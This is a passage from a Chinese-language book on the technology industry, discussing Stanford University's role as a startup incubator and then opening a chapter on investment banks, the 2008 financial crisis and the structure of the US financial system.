University）中讲到“先生们，如果让我必须在那种由老师管着、选够学分就能毕业的大学和那种没有教授和考试让年轻人在一起共同生活、互相学习三四年的大学中选择一种，我将毫不犹豫地选择后者……为什么呢？我是这样想的：当许多聪明、求知欲强、具有同情心而又目光敏锐的年轻人聚到一起，即使没有人教，他们也能互相学习。他们互相交流，了解到新的思想和看法、看到新鲜事物并且掌握独到的行为判断力。”\n我不知道今天的牛津大学是否还遵循纽曼的这个理念。在美国，很多研究型大学在强调职业培训的同时，依然遵循这个大学的理念。以职业教育而著名的哈佛商学院（HBS）其实把纽曼的这个理念发展到了极致。在这所全球最难进的商学院里，从没有考试。同学们互相学习获得的知识不比从教授那里得到的少。大家生活在一起，平时同吃同住，放假由学校组织到世界各地一起玩，那里的学生都是年轻、已经小有成就而又雄心勃勃的人。他们在宽松的环境下，可以自由地获取专业技能和社会知识，尤其是和人打交道的经验。可以毫不夸张地讲，在哈佛商学院里不能和同学们玩到一起的人是白交学费了。斯坦福在这方面当然没有哈佛商学院那么夸张，但是它给本科生一个类似的内紧外松自由发展的环境。\n纽曼的教育方法要求受教育的人有很高的自觉性。俗话说近朱者赤，近墨者黑。如果一个大学大部分学生都是问题学生，而学校又不加管束，这个大学一定办得一团糟。所以很多州立大学，由于学生的来源参差不齐，很难实施纽曼的这个理念。和哈佛商学院一样，斯坦福大学的入学门槛都很高，它每年的招生人数只有伯克利的五分之一，来到这里的学生都是希望自己今后事业上有所成就，它们对知识的渴望和学习的主动性是不用人担心的。斯坦福大部分本科生，学习能力很强，能很快掌握专业知识，这样就有时间和精力去学习立足于社会的基本知识，也就是纽曼所说的 Universal Knowledge。\n纽曼教育方法成功的第二个关键因素是大学学生和文化的多样性。一个大学要想让它的学生掌握 Universal Knowledge，必须让他们有这方面的内容可以学习，也必须让他们互相之间有取长补短的可能性。大家可能有这样的体会，学习电脑的同学聚在一起常常谈论一些和计算机或者科技有关的话题，学习金融的在一起常常谈论对经济的看法。如果一个大学的都是由同一类年轻人构成，他们取长补短的结果不过是补充了专业知识，而不是 Universal Knowledge。麻省理工学院、加州理工学院（Cal Tech）和卡耐基梅隆大学等优秀的大学虽然在工程上不比斯坦福差，但是无论是专业、课程和生源都太单一化。一个进入了麻省理工学院的高中毕业生很明确是为了学习理工的，而他们周围的同学也是如此。这些年轻人在一起不断交流，彼此在技术上越来越精深，内境逾宽、外延逾窄。我和麻省理工学院的一些博士生谈论过各种浏览器的好坏，他们不和你谈微软的 IE 或者 Mozilla 的火狐，而是 Unix 用户更常用的字处理器 Emacs 下一个很小的浏览网页的功能，这个东西不仅不好用，而且在全世界用它的网民连万分之一都不到。他们和你谈的是里面技术上谁实现的好。这些人以后可以是很好的科学家和工程师，但是很难创业。\n斯坦福大学则不同，它的学生来源非常多样化、多元化。他们从文理、工程、医科、商业到法律什么都有。很多人到了斯坦福并不把自己限定在一个专业上。可以想象，一个计算机博士在和一个住院医生谈论浏览器时，就必须用最通俗的语言和他交流，而不是对各种技术评头论足。同时，他可以得到一个医生对浏览器的需求，比如使用的方便性，安全性等等。斯坦福大学的学生来自于世界很多国家和地区。虽然美国大学的研究生院中一半是外国人，但是很多大学的本科生都是美国人、本州人甚至本地人。不难想象从小在同一个地区长大的孩子说来说去就那么点儿话题，不接触各种各样的人无法想象世界之大、之多样。\n斯坦福的很多学生不仅在学业上是出类拔萃的学生，而且有各种各样的特长。我的一位朋友在高盛做投资，是非常成功的投资人，他也是斯坦福大学的毕业生，年轻的时候还是 ATP 职业网球选手，一度排在世界二十几名。比如在体育方面，斯坦福大学出了很多奥运会冠军和世界冠军。斯坦福大学的游泳队曾经是半只美国奥运游泳队，出过获得四枚奥运会金牌的埃文斯等一大批泳坛名将。从 1912 年起，斯坦福大学在历届奥运会上至少获得一枚金牌，最多的一次多达十七枚。斯坦福大学还出过网球巨星约翰·麦肯罗。斯坦福大学的橄榄球队和篮球队都是美国一流的。这些运动员并非只是靠体育成绩受照顾进的斯坦福大学，他们大都数在学业上同样优秀。这些奥运会冠军就和大家住在同一个楼里，一起上课。\n斯坦福大学没有音乐学院，只有一个不大的音乐系。但它却是著名钢琴家斯坦恩（Stern）和大提琴家马友友经常演出的地方。斯坦福大学有全世界最大的罗丹雕塑收藏，包括他最著名的作品思想者。（注释：罗丹的每一件雕塑作品一般有不止一个但不到十个真品，原始的模具在这几个真品浇筑完毕后毁掉。他的思想者在法国和美国有几个真品，互相之间没有区别。）对年轻的学生最有益的校园环境就是那种最贴近今后真实生活的社会环境。在斯坦福，人员的构成和真正的社会并无太大差异，每一个年轻人周围又是各个行业的佼佼者，在这个环境中互相学习几年，外延就变得宽阔起来。对于大部分学生来讲，在斯坦福的岁月里学习到的社会知识比课堂知识对自己的一生更有帮助。拉里·佩奇在 Google 成功后回到斯坦福大学介绍他成功的经验时强调的一点是，创业者要成为全才（用他的原话讲，Be an expert in all aspects.）从培养全才来讲，斯坦福大学无出其右。\n其它大学有心学习斯坦福的经验，却难成功。且不说众多州立大学因为学生水平参差不齐很难和斯坦福相比，就是其它名牌私立学校由于种种原因也很难像斯坦福那样同时兼得纽曼教育和洪堡教育之长处。麻省理工学院和加州理工学院（Cal Tech）又太单一化，它们的学生过早地开始了职业训练，多多少少便有了“呆气”。即使是哈佛和耶鲁等“综合性”大学也很难创造斯坦福的奇迹，由于历史的原因它们在工科职业教育上非常弱。哈佛大学一直想弥补工程方面不足的缺陷，利用它的名气聘请了很多著名教授，但是仍然只是建立起一个象牙塔式的小规模、没有什么影响的工程院。它一度试图合并麻省理工学院但是没有成功，因为后者不愿意。\n15.4 创业的孵化器\n硅谷为斯坦福人提供了经费和实实在在的课题，让学生们容易找到合适的创业题目，加上宽松的环境为教授和学生的创业行动大开绿灯，良好的教育使得很年轻的学生也可以应付未来的各种挑战。现在万事俱备，只欠东风了。这东风就是学校最后扶植一把。我看过一则关于肯尼迪总统和美国导弹之父冯?卡门（钱学森的导师）的故事。六十年代初，冯卡门被授予美国总统奖，这是在美国人心目中比诺贝尔奖更高的荣誉。当冯卡门在肯尼迪总统的陪同下走下白宫的楼梯时，这位年迈的科学家一个趔趄差点摔倒，肯尼迪总统马上上前去搀扶。这时，冯?卡门说了一句意味深长的话：“年轻人，当一个人往下走的时候是不需要扶的，当他往上走时恰恰需要你扶他一把。”\n斯坦福大学无疑在扶植学生创业方面做得非常好。它对创业的教授和学生直接的帮助就是建立他们和工业界之间的桥梁。斯坦福专门有一个办公室帮助想创业的在校学生和在硅谷成功的校友或者和斯坦福有来往的企业家、投资家联系，寻找投资。\nGoogle 的佩奇和布林就是通过这种方式找到第一笔投资的。1998 年，在开发 Google 搜索引擎不多久，这两个创始人很快就用光了自己口袋里不多的钱和信用卡能借到的全部的钱。他们自己也曾经努力寻找过天使投资，但是由于他们当时只是两名普普通通的博士生，在当时硅谷多如牛毛的创业者中并不引人注意，开始找钱并不顺利。这时他们通过学校的这个帮助学生创业的办公室，联系上了太阳公司的创始人安迪?贝克托森。贝克托森虽然是计算机技术出身，但是对搜索引擎技术并不熟悉，以前也没有用过 Google 的搜索。但是因为是母校介绍来的人，安迪还是在百忙中约见了这两个只有二十五六岁的小伙子。据佩奇讲，安迪很忙，因此把他们约到了上班前在公司见面，他和布林带著自己的服务器到了安迪的办公室，安迪当场搜索了一些东西，非常满意，当即写下了十万美元的支票给了他们。这就是 Google 作为一个公司的开始。虽然这笔钱没多久就用完了，但是这笔钱的广告效应远远不止这十万美元。以后有些投资者听说太阳公司的创始人、工业界的领袖投资给 Google 了，也就相信了 Google 的水平。在 Google 最早的投资人中，包括篮球明星奥尼尔、电影明星后来加州州长施瓦辛格等根本不懂技术的天使投资人。这些人是通过一个天使投资团，随着贝克托森糊里糊涂地发了一笔财。\n可以想象如果佩奇和布林不是斯坦福的研究生而是什么其它学校的，他们很难有机会直接向一位工业界领袖推销自己的发明。大家可以试想一下，在中国，一位普通的清华大学或者北京大学的研究生有没有可能通过学校直接见到华为的创始人任正非，斯坦福能做到这件事是它了不起的地方。\n虽然全世界所有的大学都有一个官方的联系校友的机构，可是很多都形同虚设。但是美国很多著名大学，包括斯坦福大学的这种机构是实实在在地、经常地和校友，尤其是事业有成的校友联系。它们会有专人定期地到各地向那里的杰出校友通报学校的情况，既分享学校的发展成就，也通报学校遇到的困难。遇到后一种情况，很多有钱的校友会倾囊相助。而斯坦福对慷慨的捐赠者给予衷心的感激和很高的敬意。正是有紧密的联系，校友们才会在离开学校后不断帮学校的忙，包括帮助自己的师弟师妹们创业。\n斯坦福大学有一个非常闻名的风险投资论坛（Stanford Entrepreneurship Corner）。虽然从它的名字上看它有点像中国的英语角，但它实际上是由工业界和著名大学教授轮流主讲的论坛。经常来这里的人包括很多著名的风险投资家，比如 KPCB 的约翰.多尔，工业界的领袖，比如 Google 的 CEO 施密特和创始人佩奇，Facebook 的创始人祖宾伯格以及哈佛商学院和斯坦福商学院的许多著名教授。这样，斯坦福的师生都有机会接触到世界级的投资人和工业界领袖。这不仅使得大家有机会找到投资渠道，更可以从著名投资人和工业界领袖那里得到创业的指导，创业的境界有了很大的提高。\n美国每个大学都或多或少有些毕业生能成功创办各种小公司，但是能将小公司办成主导一个行业的跨国公司则是凤毛麟角。而在这个信息产业的主导公司中，由斯坦福大学校友创办的公司可能占到一小半。妨碍一个创业者成为业界领袖的原因有很多。其中有两条不得不注意，第一是好高骛远：关于这一条我们在前面已经多次提及，就不再赘述了。第二就是小富即安：很多人办公司都本着捞一把的想法，而不是做一番事业，这些人归根结底是创业的境界不够高。而这种境界是不可能从课堂上学到的，只有经常和世界级的人物在一起切磋，一个人的境界才能有质的提高，他才能站在巨人的肩上。在世界上至今找不到第二所大学能够让任何一个普普通通的学生不停地接触到工业界和商业界的领袖。\n斯坦福大学鼓励创业的另一个具体措施是对利用职务发明创业的宽容性。我们在前面介绍思科公司时提到，思科创始人的发明完全是利用工作便利的职位发明，在很多大学和实验室专利的所有者即雇主严禁使用职务发明来创办个人的公司。斯坦福大学在这方面相对比较开明，只要大家坦诚地协商好将来利益的分配，它甚至鼓励它的学生和教授利用职务之便创业，一般斯坦福要的股权少得可怜。我们前面提到的轩尼诗创办的 MIPS 公司，包括 Google 公司都用了斯坦福的技术，而斯坦福则占有一点股份。就如同低税率可以刺激经济一样，从长远来讲斯坦福这种少占股份的做法是双赢的，因为它可以鼓励创业。作为对母校的感激，几乎所有创业成功的人都非常慷慨地给予了斯坦福巨额的捐助。\n除了为创业者提供便利的创业条件，斯坦福大学第二大的帮助就是营造了一个创业的气氛和传统。很多大学都试图效仿斯坦福大学鼓励学生创业，然后从成功的创业中得到长期的回报，但是在整体上却没有营造出创业的气氛。麻省理工学院一直以培养工程界领袖为己任，并且成功地培养了大量的工业界主管，但是自己办公司的学生远不如斯坦福多。不少风险投资家也一直在麻省理工学院校园里转悠，希望能找到好的项目投资，但是效果一般。加州理工有一系列专门培养工业界领袖的必修课程，但是大部分毕业生反而进入学术界了。这些名牌大学缺乏创业的气氛。哈佛商学院要求每个人要提出和制定创业计划，并且给予前几名的学生创业经费，虽然这样扶植出一些小公司，但是它们都没有成为一个行业的领头羊，更没有开创新的行业。所以，这么多年来不论是向麻省理工学院这样著名的工科大学，还是像哈佛商学院等著名的商学院，都没能重复斯坦福的奇迹。\n创业的气氛非常重要。在一个有创业气氛的大学里，创业是一种主动行为，创业者出于自己对一个技术和它的商业应用的特别兴趣，将它的实现作为自己的理想，这种动力对于创业的成功不可或缺。反之，如果光靠别人来推动创业，是鲜有成功的。只有主动的创业，创业者才能从亲身实践中找到好的创业题目，并为之奋斗。反之，即使有了好的题目，也会半途而废。我参加过某个著名工科大学在硅谷为风险投资家举行的项目介绍会，该校为了鼓励学生创业，规定以小组为单位的学生必须完成一项发明和设计才能毕业，在介绍会上他们拿出了一些很好、很有新意的发明。但是这些发明大多数是学生们作为完成教授任务或者拿学位的要求而进行的，而学生们根本就没有想将这些发明产品化而挣钱。因此，他们在选题时很多题目虽然好却只能将技术卖掉，根本无法办公司。即使有一些好的选题，因为和自己今后的事业无关，学生们也根本没有仔细考虑商业化的许多繁杂的具体问题，因此面对风险投资家的提问茫然无所知。由于没有创业的热情，几乎所有的学生一旦完成了学位的要求离开了学校，所做的工作就半途而废了。第二年，新的学生重复他们学长们做的无用功。当然，这种训练对学生的能力有很大提高，但是对创业的作用微乎其微。\n在人们想象中，商学院的学生就应该热衷于创业，但其实不然。虽然很多商学院为它们的学生营造各种创业的条件，但是他们创业成功的案例还不如学习工程的学生多。我参加过风险投资对一个著名商学院的一些学生创业项目的评估。也许是学习商业的原因，他们提出的题目都很大，但是很多要么是夸张，要么是没有实际内容。其中一个是类似于网上建立一个社区，自己设计贺卡、T恤衫、纪念品和邮票（注释：在美国允许使用自己设计的邮票）并且通过社区来交流。这个公司的盈利模式就是在从相互有偿的授权中（License）切一块利润。这个题目我不能说没有用，它的提出者们也一定是做了不少研究的。但是，这里面我看不到任何的技术和商业特点能够阻止其他人进入该领域竞争。更何况其市场规模比他们提出的小很多。第二个很有代表性的项目是一个大的难以置信的项目，叫做互联网 3.0。我问他们互联网 2.0 的定义至今是否清楚，他们不置可否。我们又问他们这互联网3.0能够带给用户什么好处，他们也不置可否。最后我们问他们为什么要选择这个题目，他们认为，第一，在当前的互联网领域雅虎和 Google 等公司已经处在主导地位，很难撼得动，只有提出一种超前的概念才能打败雅虎和 Google 等。第二，这个题目足够大，因此风险投资也许会有兴趣。我们再问他们在此以前做了多少研究，发现他们确确实实做了很多的研究，他们看了很多的参考资料，图书馆里的，互联网上的。但是他们的项目无异于闭门造车。第三个有代表性的项目就是把各种美国已经有的技术和商业模式搬到中国和印度去，其中的提出者以中国和印度学生居多。比如前几年有人把 Ebay 搬到中国搞了易趣很成功，他们提出把 YouTube 搬到中国和印度去（当时中国还没有那么多的视频网站），这些项目有些后来还真得到了资助，但是这种模仿和改造的项目后来并没有成功，因为你能模仿别人也能模仿，没有什么门槛。最有意思的是一个中东来的学生想来想去还是倒卖石油来钱最快，连他的同学也笑了，说除了你，我们可没有这种机会。读者可能已经看出来这里面的问题，这些都是学生们为了完成学业，挖空心思想出来的项目，和太阳工作站、思科路由器、雅虎网站和 Google 搜索引擎这些源于创业者的科研实践的项目完全不同。\n环境是可以影响人的。在斯坦福这样创业成风的环境中，一个计算机系或者电子工程系的博士生不想自己创业有时可能都会不好意思。而创业失败也没有什么可耻的。佩奇原来所在的计算机系数据库实验室，前前后后出了无数开公司的学生，以后的博士生一进去就耳濡目染办公司的事情。而在绝大多数大学里包括麻省理工学院并不是这样，导师希望学生只专注学术，而博士生则是以进入学术界为荣。比如我以前所在的约翰霍普金斯语言和语音处理中心（CLSP），在我以前所有的博士毕业生全部去了大学和大公司的实验室（比如 IBM，ATT 和微软的实验室），没有到真正工业界工作的，更不用讲办公司了。我到 Google 来，在所有师兄弟中纯属异类。但是，自从我到了 Google，后来的人发现这条路也很不错，以后所有的博士毕业生都会来 Google 面试，每年都有人来 Google，就连以前在大实验室的师兄们也跳槽过来了，这就是风气的作用。另一方面，人也会选择环境。很多学生挑学校时也是看中了斯坦福守着硅谷将来能创业这一点。\n虽然不是每一个斯坦福人都能创业并且也不是每一个人都能成为领导者，但是他们中间很多人可以成为很好的合作者和追随者（Follower）。佩奇有一次在斯坦福的创业论坛上讲，创业的关键之一是找到志同道合的人。在斯坦福相对容易找到一起创业的追随者。首先，进入斯坦福的学生大多愿意到刚成立的小公司工作，而很多东部名牌大学的毕业生并不愿意。其次，由于斯坦福的这种内紧外松的环境，学生们交际的圈子相对较广泛，容易打造一个可以互补的创业团队（Founding team）。而在完全追求学分的大学里，每个人能深入了解的大多是自己同班同学，或者同实验室的同事，朋友之间的互补性不强。\n新的技术、新的商业模式在全世界各地每时每刻都会诞生，但是将它们最终变成产品，变成一个新的行业需要一个像斯坦福大学这样的孵化器。韩愈讲，千里马常有而伯乐不常有，于是便见不到千里马。同样，发明创造世界各国都有，而斯坦福只有一个，因此硅谷的奇迹就难得一见了。\n结束语\n世界很多国家都在学硅谷的经验，办起了自己的科技园。尽管有些地区自称自己是“xx 的硅谷”，并且带动了地区性信息产业的发展，提供了不少就业机会，但是并没有孕育出像思科和雅虎这样具有开创性的公司。这里面的原因有很多，其中一个是缺乏一所像斯坦福大学这样的新的公司乃至新的产业的孵化器。\n第16章 科技公司的吹鼓手：投资银行\n前言 有幸见证历史\n这一章虽然谈论的不是科技发展，但对于读者了解科技公司却又非常重要，在科技公司背后，存在着左右它们发展和商业行为的金融力量。这种金融力量对于上市的科技公司来讲，以投资公司或者投资银行为代表。没有投资银行，科技公司很难在金融市场上融资，也很难进行并购和分离。为了写这一章，我酝酿了很久，事实上是从我刚写第一章时就开始酝酿了。我原以为按照最初的构想，可以顺顺当当地写完这一章，就像我完成其它章节那样。但是，这半年来发生了很多事，甚至可以说是巨变，这使得我不得不一而再、再而三的修改我的文稿。\n事情总是有两方面。一方面，我们很幸运能够见证历史。我亲身经历了以前只能在历史教科书中读到的像 1929 年到 1933 年席卷整个资本主义世界的经济危机。另一方面，我们所有的人都将是这次危机暂时的甚至是永远的受害者。当我在一年前酝酿这个系列时，美国有五家主要的投资公司（Investment Banks），摩根斯坦利，高盛，美林，雷曼兄弟和贝尔斯通。今年初，有近百年历史的贝尔斯通（Bear Stearns）首先倒闭了。这家投资公司在近百年的历史中，有 97% 的年头是盈利的，包括几个最艰难的时期，1929-1933 年全世界的大萧条，第二次世界大战，2001 年 911 恐怖袭击和互联网泡沫的崩溃。但是现在，仅仅一次贪婪的错误就让这个美国第五大的投资银行破了产。这样，我的这一章就变得简单了一些。\n熟悉华尔街的人都知道事情显然还没有结束，用他们的话说，就是坏消息还没有出尽。果然，当我把这一章写到一半的时候，九月初的第一个星期，今年一直亏损的著名的雷曼兄弟投资公司（Lehman Brothers）在海外寻求资助时失败了，同时爆出资不抵债的消息，到周五那一天，它的股价狂跌 96%。如果它的问题在周末得不到解决，星期一华尔街可能被血洗（华尔街日报的原话是 Bloodbath）。于是美国财长保尔森和美联储主席本南克周末在纽约美联储大楼召集美洲银行（Bank of America）、花旗银行等美国最大的商业银行，以及高盛（Goldman Sachs）和摩根斯坦利等美国最大的投资公司一同商讨拯救这家有一百六十年历史、在中国道光年间就诞生的老字号投资公司。但是，当原本有兴趣出面收购雷曼的美洲银行和英国巴克莱银行发现雷曼的坏帐高达六百到八百亿美元后，它们都表示如果没有美国政府的支持根本无法吃下这么多坏账。这两家银行向保尔森求助，连德国财长也连夜打电话给保尔森请求他在星期日晚上，即亚洲星期一股市开盘前拯救雷曼，否则后果不堪设想。但保尔森总是罔顾左右而言他，就是不肯出钱。就在大家寻求拯救雷曼的同一时刻，美国第三大的投资公司美林也开始摇摇欲坠了，它以闪电般的速度和美洲银行达成并购协议。当雷曼的最后一个救星巴克莱银行离开了谈判桌时，雷曼只有宣布破产了。全世界的金融媒体和投资人都在等消息，他们这次得到的是一个坏消息。几小时后，全球股市从亚洲开始，到欧洲再回到美国全部暴跌，跌幅堪比 911 恐怖袭击。至此，我要写的美国五大投资公司仅剩下两家了。\n当大家还没有来得及责备保尔森和联邦储备银行主席本南克见死不救时，很快就意识到他们原来也是有难言之隐，金融危机远比原来预先想象的严重得多，世界最大的保险公司 AIG 也因为给不良资产贷款损失过重而岌岌可危。AIG 有高达万亿美元的资产和债务，它不同于雷曼和美林，因为全世界很多人的养老保险全在里面，所以不能不救。AIG 倒闭不仅意味着无数美国人要老无保障，世界其它很多国家，尤其是日本，老人一辈子的养老保险将要泡汤。这时大家才明白保尔森和本南克不肯救雷曼的苦心，这两个力不从心的人必须留着钱给 AIG 呢。\n有道是福不双降，祸不单行，AIG 的问题还没有解决，美国第二大投资公司摩根斯坦利也出现了资金不足的问题，正在寻求和一家商业银行合并，两个坏消息传来，全世界股市再次暴跌。连着几天跌幅已经和 1929 年到 1933 年的西方大萧条时期可以一比了。我希望在我完成这一章时，需要介绍的独立的投资公司不要只剩下高盛一家了。高盛由于有著名投资人巴菲特的波克夏哈萨韦公司支持，应该没有问题了。最后美国政府只好出面来收拾残局，将高达七千亿美元的烂帐收归国有，于是被很多经济学家称为美利坚社会主义共和国（United Socialist Republic States of America）。这个法案先于2008 年 9 月 29 日星期一被众议院否决，但是最后参众两院不得不通过它。\n经过这么一折腾，投资者信心全无，加上金融危机已经到来，全球经济衰退在所难免，在美国救市方案通过后的一周里，世界发达国家的股市又下跌了 15%，各国央行不得不紧急降息五十个基本点，即零点五厘，其效果如何，还需一两个季度才能看出。即使金融危机可以告一段落，真正的经济危机才刚刚开始。科技公司在金融危机中很难独善其身。事实上像 Google、苹果和 RIMM 这些明星科技公司，股价已经下挫了一半以上，虽然它们的业绩比去年都有大幅度提高。而我们介绍过的一些公司，可能在这次危机后便不存在了。很多还在盈利的公司已经开始大规模裁员，这里面包括我们熟知的许多跨国公司，惠普，雅虎和 Ebay 等。毫无疑问，那些长期有潜在严重问题的跨国公司很可能会在这次危机中被淘汰。一些等待融资的新兴科技公司可能会死在黎明之前。但是，乐观地看，当危机过去后，一些小公司可能会迅速崛起，就像 2001-2003 年 Google 公司崛起一样，未尝不是好事。\n我在这里谈了很多题外话。我是想说，首先，我们这个世界，这个社会是个整体，任何一方的损失实际上也是我们自己的损失。第二，华尔街对世界经济和生活的重要性比原本我们想象的重得多。它们是左右科技公司的金融力量，而且，像高盛、摩根斯坦利和雷曼这样的公司，作为 Google、微软和雅虎这样公司的“庄家”，在很多科技公司的并购和分离中唱着台下的主角。投资银行都有一个共同的特点—贪婪，从贝尔斯通到 AIG 的悲剧都是贪婪的结果。华尔街的贪婪既会捧起、也会扼杀一个科技新星。\n16.1 华尔街和美国的金融体系\n要了解美国，尤其是美国社会，必须了解它的金融体系。虽然美国的国父们（华盛顿、杰弗逊、亚当斯和富兰克林等人）没有一个是银行家出身，并且他们能预见银行资本家对国家带来的伤害，但是他们也无力阻止这种事情的发生。美国第一任财政部长汉密尔顿奠定了美国的财政体系，这位英年早逝的财政部长认识到将财政权收归国有的重要性，建立了有财政部统管的金融制度并且促成了美国早期的中央银行美国第一银行，并由后者发行美元，由国有的造币局印制。但是在早期自由资本主义的美国，汉密尔顿理念无法得到大多数人的认同，他创立的美国第一银行（后来改名为美国第二银行）最终破产，他缔造的美国造币局也成为一个不属于政府的独立机构（直到一百年后才被财政部收回）。在直到二十世纪初的很长时间里，美国没有中央银行！而在这一百多年里，美国的私有银行得到了长足的发展，它们奠定了今天美国银行业的基础。\n谈到私有银行，我必须在这里澄清一些在中国广泛流传的误解和谬误。这些误解从某种程度上让中国投资人在美国的投资蒙受了巨额的损失。而所有的误解中最为荒谬的就是罗斯柴尔德（Rothschild）家族控制美联储、控制世界以及该家族是世界上最富有的神秘家族的说法。\nRothschild 家族原本是德国的犹太人，因此根据德语的发音，这个词应该翻译成罗特希尔德（在德语中 th 发 t 的音，sch 在一起发 sh 的音，这个词的正确读音应该是ro-t-sh-ild）。鉴于罗斯柴尔德这个名字在中国知识界已经流行开来，我们只能将错就错。罗斯柴尔德家族曾经是世界上最富有的家族，他们靠拿破仑战争发了国难财，他们的直系子侄的一度在德国、意大利、法国和美国都有不小的生意，罗斯柴尔德的后人也曾经参加了由美国金融大亨 J.P.摩根发起的联邦储备银行的筹备工作，但是所做的工作远远无法和摩根相比。今天，这个家族现在对世界的影响几乎微乎其微。\n按照中国一些作家的观点，一两百年前这个家族的财富作为原始资本，以每年百分之六的速度递增，现在该家族应该有几万亿美元。至于为什么没有人看见这几万亿美元，是因为这个家族神秘而不公开其财务。这个解释显然和正常人的常识不符。几万亿美元是什么概念？是整个中国，世界五分之一人口的经济规模。要知道现在世界上的有钱人，没有一个把钱锁在保险柜里的，他们的钱一定要投入到经济生活中。这么大一笔钱在世界上是不可能藏的住的。如果按那些作者简单的逻辑，中国春秋时代的陶朱公只要为后代留下一两银子，现在应该变为十的六十次方两银子，而全世界今天总的财富只有区区十的十四次方两银子，也就是说陶朱公的后人的财富是全世界财富的几百万亿亿亿亿亿倍。既然陶朱公后人的财富不能按指数递增，凭空假定罗斯柴尔德家族的财富连续几百年以几何级数递增也很荒唐。事实永远的对的，既然人们看不到这个家族了，只能说明这个家族衰落了。\n为了证实这一点并弄清楚他们衰落的原因，我专门请教了高盛公司和花旗银行的投资专家，虽然他们听说过这个名字，却很少有人能知道为什么这个家族衰微了，因为在他们眼里这个家族现在这点钱根本不算钱。后来高盛的朋友又帮我在公司里广为咨询，终于弄清楚其中的真相。\n罗斯柴尔德家族十九世纪中后叶达到高峰，但是犯了几次致命的错误，又遇到几次灭顶之灾，便从此一蹶不振的。该家族犯的第一个错误就是低估了美国的发展。十九世纪后半叶，美国因为种族矛盾尖锐，后来又爆发了内战，罗斯柴尔德家族对美国不看好，撤走了在美国的大部分业务，失去了追随美国发展的大好时机。（我常常和别人讲，错过现在中国发展的快车，就像一百五十年前错过美国发展一样可惜。）第一次世界大战，该家族在欧洲的业务遭到重大打击。一战以后，很多欧洲国家不得不将博物馆的珍藏卖给美国人。虽然说瘦死的骆驼比马大，罗斯柴尔德家族在一战后有短暂的喘息并得到了一些恢复，但是接下来希特勒迫害犹太人使得该家族再次遭到灭顶之灾。几年后，纳粹势力被清除，但是前苏联在东欧实现了社会主义，把罗斯柴尔德家族在东欧（主要是德国）仅存的资产全部收为国有。该家族所剩的一些在法国和英国等国的资产也大幅度缩水。六十年代以来，已经沦为二流投资公司的该家族再次犯了致命的错误。欧美的大银行，包括瑞士的瑞士联合银行（UBS，有时简称为瑞银），苏黎世信贷，德意志银行，美国的摩根斯坦利、高盛等公司都纷纷上市，融得大量的发展资金。而罗斯柴尔德家族仍然停留在十九世纪家庭作坊的经营方式上。两位高盛公司的银行家告诉我，这个家族的经营活动其实并不神秘，他们和高盛一样，现在也在欧洲为别人管钱（private wealth management），一年的利润在最好的年头也不过一亿美元左右，不到高盛的百分之一。而在美国一般的有钱人中，大多数人听说这个名字反而是因为拉法特-罗斯柴尔德牌波尔多红葡萄酒（Lafite-rothschild Bordeaux），这是世界上最好、最贵的葡萄酒，每瓶大约一两千美元。该酒庄在十九世纪被罗氏家族买下。\n言归正传，由于美国银行业的基础是私有银行，抵抗金融危机的能力就很有限，在 1907 年的金融危机中，美国的银行业几乎崩溃。这时，由著名银行家摩根发起，联合了各大银行，在总统威尔逊的支持下，美国建立了联邦储备银行系统（Federal Reserve System），简称美联储。美联储包括了七家地区性的联邦储备银行，并且是以私有公司性质注册的政府部门，它的主席由美国总统任命。它这种半官半商的两重性日后引起了极大的争议，至今是一些持“阴谋论”者攻击的对象。其实，虽然它的很多董事是私有银行的高管，但是并不能因此就认定它是个像一些威胁论中宣扬的私人公司，正如不能因为财政部长保尔森原来是高盛的 CEO，切尼是世界上最大采油公司 Halliburton 的 CEO 就否定他们是政府官员。美联储虽然名字叫储备银行，但是它并没有什么储备，它的职责基本上是发行美元和制定利率。而美国整个经济活动，包括科技公司的商业活动依然靠私有银行来维持运转。\n美国的金融公司五花八门，非常之多。最近美国证监会为了救股市列出了股票不能做空的上市金融公司居然高达八百家之多，而美国的银行居然多达八千家，平均一万多个家庭就有一家银行。这些公司大致可以分成几类：1. 商业银行（Commercial Bank），这是老百姓最熟悉的传统的银行，中国包括四大商业银行在内的几乎所有的银行都属于这一类。在美国著名的商业银行有花旗银行（Citi Group）、美洲银行（Bank of America）、J.P.摩根银行（J.P. Morgan，以前叫大通曼哈顿银行），这三家都是道琼斯三十家工业指数中的公司。另外还有巴菲特控股的富国银行（Wells Fargo），它以储蓄和商业贷款为主，和科技公司关系不大。二十世纪从三十年代大萧条开始，到里根上台以前，商业银行只能发放商业贷款和房屋贷款，不能炒作股票。但是近二十年来，美国政府对银行业的限制放宽，很多商业银行同时又是投资公司，比如花旗名下的 Smith Barney 就是很大的投资公司。J.P.Morgan 则身兼商业银行和投资银行二职。大银行中只有富国银行安分守己，因此在这次金融风暴中躲过一劫。\n2. 投资公司，虽然他们又称投资银行（Investment Bank），但是直到 2008 年 10 月，它们都不是真正意义上的银行，因为他们既不能接受存款，也不能向联邦储备银行借钱，它们是替别人买卖有价证券、期货、不动产和任何有价值的商品。不买卖股票的人对这一类公司就不大熟悉了。这些公司中最著名的是高盛（Goldman Sachs）和摩根斯坦利（Morgan Stanley），本来还有美林证卷的几家，但是如前面所介绍，它们全都关门了，省了我很多事。这些公司是股市上翻云覆雨的主力军，俗称庄家，对科技公司的兴衰影响最大，它们不仅抬高或者打压一个科技公司的股价，而且可以左右科技公司的并购和分家的成败。比如在前面第一章提到的 ATT 公司分拆案，惠普和康柏的并购案，以及后面会提到的微软雅虎的并购意向等等，背后都有投资公司插手。除了有美国的投资银行外，欧洲和日本等国也有大的投资银行，比如苏黎世信贷第一波士顿（Credit Suisse First Boston，简称 CSFB），瑞士联合银行（Union Bank of Swiss，简称 UBS，它是商业银行和投资银行一体）。此外，巴菲特的旗舰公司波克夏哈萨韦是一个影响力极大但非常特殊的投资公司。由于巴菲特本人从来不投资科技公司，波克夏哈萨韦对科技发展影响甚微。\n3．共同基金公司（Mutual Fund），这类公司特别多。大的如富达基金（Fidelity）和先锋基金（Vanguard），掌控着美国所有的退休帐户（401K）和全世界很多的财富。小的可能只有几十人，只管理几亿美元。总的来讲，共同基金的目的是为了投资而不是炒作。但是它们常常是一些科技公司投票权最多的股东，它们在科技公司盈利好的时候追捧它，在科技公司遇到困难时便给它施压，要求它裁员或者减少开支，因此对科技公司的发展也有不可忽视的影响。\n4．对冲基金（Hedge 